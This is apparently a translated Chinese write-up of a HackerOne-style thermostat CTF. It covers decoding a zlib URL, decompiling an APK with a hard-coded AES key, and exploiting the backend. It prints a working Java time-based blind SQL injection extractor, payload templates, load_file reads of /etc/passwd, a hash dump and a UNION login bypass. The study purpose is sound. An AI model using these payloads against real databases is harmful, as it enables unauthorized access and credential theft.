总结:
有关挑战的简要概述,您可以查看以下图像:
下面我将详细介绍我为解决CTF而采取的每一步,以及在某些情况下导致我走向死胡同的所有错误假设。
CTF从这条tweet开始:
这些二进制是什么?
我的第一个想法是尝试解码图像上的二进制。我还注意到在'_'字符后,二进制数字与前面的相同,即:
01111010 01101100 01101001 01100010 00101011 01111000 10011100 01001011 11001010 00101100 11010001 01001011 11001001 11010111 11001111 00110000 00101100 11001001 01001000 00101101 11001010 00000101 00000000 00100101 11010010 00000101 00101001
所以,让我们看看这是否会转换成任何ascii码或可读的内容(python3的环境)
>>> bin_array_image = ['0b01111010', '0b01101100', '0b01101001', '0b01100010', '0b00101011', '0b01111000', '0b10011100', '0b01001011', '0b11001010', '0b00101100', '0b11010001', '0b01001011', '0b11001001', '0b11010111', '0b11001111', '0b00110000', '0b00101100', '0b11001001', '0b01001000', '0b00101101', '0b11001010', '0b00000101', '0b00000000', '0b00100101', '0b11010010', '0b00000101', '0b00101001']
>>> s = ''.join(chr(int(x,2)) for x in bin_array_image)
>>> print(s)
zlib+x�KÊ,ÑKÉ×Ï0,ÉH-Ê� %Ò�)
很好,前五个字符是:zlib +。所以,也许我们应该使用zlib来解压缩剩余的字节。
>>> import zlib
>>> byte_string = bytes([int(x,2) for x in bin_array_image][5:])
>>> print(zlib.decompress(byte_string))
b'bit.do/h1therm'
好。现在我们有一个重定向到Google云端硬盘中的APK文件的网址。我们下载吧。
APK
作为我的第一步,我使用JADX反编译应用程序并开始检查代码:
阅读AndroidManifest.xml我可以找到两个activity类:com.hackerone.thermostat.LoginActivity
和com.hackerone.thermostat.ThermostatActivity
LoginActivity.class
LoginActivity的核心功能是对用户进行身份验证:
private void attemptLogin() throws Exception {
...
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", username);
jSONObject.put("password", password);
jSONObject.put("cmd", "getTemp");
Volley.newRequestQueue(this).add(new PayloadRequest(jSONObject, new Listener<String>() {
public void onResponse(String str) {
if (str == null) {
LoginActivity.this.loginSuccess();
return;
}
LoginActivity.this.showProgress(false);
LoginActivity.this.mPasswordView.setError(str);
LoginActivity.this.mPasswordView.requestFocus();
}
}));
在attemptLogin
中,App构建了一个像这样的json对象:{“username”:“”,“password”:“”,“cmd”:“getTemp”}
然后实例化一个PayloadRequest对象,该对象将被添加到一个Volley Queue中去处理。那么让我们看看这个类做了什么。
PayloadRequest.class
public class PayloadRequest extends Request<String> {
public PayloadRequest(JSONObject jSONObject, final Listener<String> listener) throws Exception {
super(1, "http://35.243.186.41/", new ErrorListener() {
public void onErrorResponse(VolleyError volleyError) {
listener.onResponse("Connection failed");
}
});
this.mListener = listener;
this.mParams.put("d", buildPayload(jSONObject));
}
从这里我们可以注意到一个URL http://35.243.186.41/
,它可能被用作后端服务器。此外,还有一个名为buildPayload的方法,它将作为d参数的值。
private String buildPayload(JSONObject jSONObject) throws Exception {
SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");
byte[] bArr = new byte[16];
new SecureRandom().nextBytes(bArr);
IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);
Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
instance.init(1, secretKeySpec, ivParameterSpec);
byte[] doFinal = instance.doFinal(jSONObject.toString().getBytes());
byte[] bArr2 = new byte[(doFinal.length + 16)];
System.arraycopy(bArr, 0, bArr2, 0, 16);
System.arraycopy(doFinal, 0, bArr2, 16, doFinal.length);
return Base64.encodeToString(bArr2, 0);
}
buildPayload方法在CBC模式下使用对称密钥算法[4](AES),它使用相同的加密密钥来加密明文和解密密文。而且,secretKeySpec是密钥,PKCS#5是填充方法。因此,我们的json总是被加密发送到后端服务器。此外,还有一种处理响应的方法,称为parseNetworkResponse,它使用相同的算法和密钥。
ThermostatActivity.class
另一个ActivityClass是ThermostatActivity
,它两次调用setTargetTemperature
并更新thermostatModel
属性。同样使用LoginActivity
中相同的json对象发送getTemp
命令,但正如您所看到的,对结果没有做任何事情(String str)
private void setDefaults(final ThermostatModel thermostatModel) throws Exception {
thermostatModel.setTargetTemperature(Integer.valueOf(77));
thermostatModel.setCurrentTemperature(Integer.valueOf(76));
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", LoginActivity.username);
jSONObject.put("password", LoginActivity.password);
jSONObject.put("cmd", "getTemp");
volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
public void onResponse(String str) {
thermostatModel.setTargetTemperature(Integer.valueOf(70));
thermostatModel.setCurrentTemperature(Integer.valueOf(73));
}
}));
}
com.hackerone.thermostat.Model.ThermostatModel
分析其他类,我们找到一个带有setTargetTemperatute
方法的ThermostatModel
,它给我们另一个命令:setTemp
。这个新命令的有趣之处在于现在我们有了一个新的json属性temp
,它是setTemp
的参数。
public void setTargetTemperature(Integer num) {
this.targetTemperature.setValue(num);
try {
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", LoginActivity.username);
jSONObject.put("password", LoginActivity.password);
jSONObject.put("cmd", "setTemp");
jSONObject.put("temp", num);
ThermostatActivity.volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
public void onResponse(String str) {
}
}));
} catch (Exception unused) {
}
updateCooling();
}
Dir Brute
为什么不这样做?我们有一个运行Web服务器的IP,所以让我们看一下今天是否是我们的幸运日,并获得一些唾手可得的结果,找出一个隐藏的端点。使用FFUF :
./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt
./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
没那么容易......
Creating a Java Application
在初始侦察之后,是时候尝试与后端服务器交互的一些攻击了。为此,我刚刚使用App中的相同源代码创建了一个java应用程序,并进行了少量更改。
public static String sendCommand(String username, String password, String cmd) throws Exception {
return PayloadRequest.sendCommand(username, password, cmd, null);
}
public static String sendCommand(String username, String password, String cmd, String tmp) throws Exception {
JSONObject jSONObject = new JSONObject();
jSONObject.put("username", username);
jSONObject.put("password", password);
jSONObject.put("cmd", cmd);
if( tmp != null) {
jSONObject.put("temp", tmp);
}
return send(jSONObject);
}
public static String send(Object jSONObject) throws Exception {
String payload = PayloadRequest.buildPayload(jSONObject);
URL url = new URL("http://35.243.186.41");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
Map<String, String> parameters = new HashMap<>();
parameters.put("d", payload);
...
return PayloadRequest.parseNetworkResponse(content.toString());
}
所以我们现在可以使用上面的sendCommand
方法向后端发送命令。我在这里的第一个猜测是尝试一些SQL注入。但是我们有一些限制,因为服务器只返回“无效的用户名或密码”或“Unknown”。第一条消息出现在没有错误但是用户名和密码不匹配的情况,第二条消息出现在某些东西出错的时候。因为这些限制,我们可以尝试2中方法:基于时间的盲注或者基于错误的盲注。让我们用最简单的payload来尝试基于时间的盲注:
System.out.println(PayloadRequest.sendCommand("'||sleep(10)#", "", ""));
// After 10 seconds ...
// {"success": false, "error": "Invalid username or password"}
Time Based SQL Injection
什么?我们找到漏洞了吗?上面的payload经过10秒钟才获得响应!这绝对是我的幸运日......我现在能做什么?也许是启动SQLMap?不,不!这不够31337(不够专业)!让我们用Java创建自己的SQL盲注exp!首先,我们需要比较两个字符,并根据响应时间确定一个布尔值:True或False。我们可以实现如下:
public static boolean blindBoolean(String payload) throws Exception {
long startTime = System.nanoTime();
PayloadRequest.sendCommand(payload, "", "");
long endTime = System.nanoTime();
long timeElapsed = endTime - startTime;
return (timeElapsed / 1000000) > PayloadRequest.TIME_TO_WAIT * 1000;
}
为了测量响应时间,我们需要获得调用sendCommand
之前的时间和调用之后的时间,然后把2者相减,再与TIME_TO_WAIT
相比较,如果所用的时间大于TIME_TO_WAIT
则为True否则为False。
现在我们需要一个通用的查询模板,它允许我们从数据库中提取数据:
'||(IF((SELECT ascii(substr(column,{1},1)) from table limit {2},1){3}{4},SLEEP({5}),1))#
以及:
{1} -> %d -> 截取第几个字符
{2} -> 行偏移
{3} -> %c -> 比较操作符 ( =, >, <)
{4} -> %d -> ascii码
{5} -> %d -> 睡眠时间
为了提高性能,我们可以使用二分查找法进行基于时间的布尔检查:
public static String blindString(String injection, int len) throws Exception {
StringBuilder value = new StringBuilder("");
for(int c = 1; c <= len; c++) {
int low = 10;
int high = 126;
int ort = 0;
while(low<high) {
if( low-high == 1 ) {
ort = low + 1;
} else if ( low-high == -1 ) {
ort = low;
} else {
ort = (low+high)/2;
}
String payload = String.format(injection, c, '=', ort, PayloadRequest.TIME_TO_WAIT );
if( PayloadRequest.blindBoolean(payload) ) {
value.append( Character.toString( (char) ort));
break;
}
payload = String.format(injection, c, '>', ort, PayloadRequest.TIME_TO_WAIT );
if( PayloadRequest.blindBoolean(payload) ) {
low = ort;
} else {
high = ort;
}
}
}
return value.toString();
}
所有准备看上去都很好那么开始泄漏一些数据:
Database recon
version()
public static String blindVersion() throws Exception {
String injection = "'||(IF((SELECT ascii(substr(version(),%d,1)))%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 25);
}
// 10.1.37-MariaDB
database()
public static String blindDatabase() throws Exception {
String injection = "'||(IF((SELECT ascii(substr(database(),%d,1)))%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 25);
}
// flitebackend
hostname + datadir
System.out.println(blindString("'||(IF((SELECT ascii(substr(@@hostname,%d,1)))%c%d,SLEEP(%d),1))#", 20));
// hostname: de8c6c400a9f
System.out.println(blindString("'||(IF((SELECT ascii(substr(@@datadir,%d,1)))%c%d,SLEEP(%d),1))#", 30));
// datadir: /var/lib/mysql/
Tables
public static String blindTableName(int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 100);
}
...
PayloadRequest.blindTableName(0); // devices
PayloadRequest.blindTableName(1); // users
PayloadRequest.blindTableName(2); // None
在flitebackend
数据库中找到2张表:devices
和users
Read files?
也许我们可以读取一些文件?
System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/hosts'),%d,1)))%c%d,SLEEP(%d),1))#", 20));
System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/passwd'),%d,1)))%c%d,SLEEP(%d),1))#", 20));
我认为不行。
Login
也许你想知道为什么我还没有登录。因为我尝试登录前正在做基于时间的SQL盲注。所以让我们看看我们是否能够使用SQL注入登录:
System.out.println(PayloadRequest.sendCommand("' or 1=1#", "123123", "getTemp"));
// {"success": false, "error": "Invalid username or password"}
嗯,我们需要考虑后端如何进行登录处理:
1.SELECT username, password FROM users WHERE username='+ username_param +' and password = '+ password_param +' ?
2.SELECT password FROM table WHERE username='+ username_param +'; then check password?
对于1来说我们已经知道不是这种情况,因为使用'or 1=1#
会给我们一个成功的消息。对于2来说我们需要另一个测试,首先,让我们检查一次查询有多少列。
System.out.println(PayloadRequest.sendCommand("' order by 1#", "", "getTemp"));
// {"success": false, "error": "Invalid username or password"}.
System.out.println(PayloadRequest.sendCommand("' order by 2#", "", "getTemp"));
// {"success": false, "error": "Unknown"}
好的,基于错误消息,我们可以确认查询中只有一列。因此,我们可以尝试使用UNION伪造成功的查询:
System.out.println(PayloadRequest.sendCommand("' union all select ''#", "", "getTemp"));
// {"success": false, "error": "Invalid username or password"}
还是不行,看样子有一些其他的东西,退一步,让我们dump所有的用户表。
users table
首先,我们需要知道表结构。为了方便这个过程,我创建了一个名为blindColumnName的方法,它有两个参数:table和offset。这个方法会dump所有来自table
指定的表的所有列名。
public static String blindColumnName(String table, int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(column_name,%d,1)) from information_schema.columns where table_name='"+table+"' and table_schema = database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 100);
}
...
PayloadRequest.blindColumnName("users",0); // id
PayloadRequest.blindColumnName("users",1); // username
PayloadRequest.blindColumnName("users",2); // password
PayloadRequest.blindColumnName("users",3); // None
表结构users(id, username, password)
devices table
和上面的处理相同适用于devices
表。
PayloadRequest.blindColumnName("devices",0); // id
PayloadRequest.blindColumnName("devices",1); // ip
PayloadRequest.blindColumnName("devices",2); // None
表结构devices(id, ip)
Dumping
知道了表结构,我们可以dump值:
public static String blindUsername(int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(username,%d,1)) from users limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 5);
}
PayloadRequest.blindUsername(0); // admin
PayloadRequest.blindUsername(1); // None
public static String blindColumnUsersValues(String column, int length) throws Exception {
String injection = "'||(IF((SELECT ascii(substr("+column+",%d,1)) from users where username = 'admin')%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, length);
}
public static String blindPassword() throws Exception {
return PayloadRequest.blindColumnUsersValues("password", 32);
}
PayloadRequest.blindPassword(); // 5f4dcc3b5aa765d61d8327deb882cf99
只有一个用户(“admin”,“5f4dcc3b5aa765d61d8327deb882cf99”)。这是哈希吗?用Google搜索它并找到答案,是的:md5('password')
。现在我们可以使用admin:password或甚至使用sqli登录:
System.out.println(PayloadRequest.sendCommand("admin", "password", "getTemp"));
// {"temperature": 73, "success": true}
System.out.println(PayloadRequest.sendCommand("' union all select '47bce5c74f589f4867dbd57e9ca9f808'#", "aaa", "getTemp"));
// {"temperature": 73, "success": true}
是时候dump表devices
的数据了。
public static String blindIpDevices(int offset) throws Exception {
String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices limit "+offset+",1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 16); // Fixed length
}
...
PayloadRequest.blindIpDevices(0);
// Device: 0 192.88.99.253
PayloadRequest.blindIpDevices(1);
// Device: 1 192.88.99.252
PayloadRequest.blindIpDevices(2);
// Device: 2 10.90.120.23
在获得几个ips后,我注意到大多数都属于私有IP地址。我的第一个想法是构建一个移除所有私有IP地址的查询(参见where子句):
public static String blindDeviceQuery() throws Exception {
String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices where substr(ip,1,2) not in ('24', '25') and substr(ip,1,3) not in ('192', '10.', '198') limit 0,1)%c%d,SLEEP(%d),1))#";
return PayloadRequest.blindString(injection, 16);
}
PayloadRequest.blindDeviceQuery();
// 104.196.12.98
太好了!一个真实的IP地址。
原文链接
-
-
-
-
-
-
-
-
-
-
-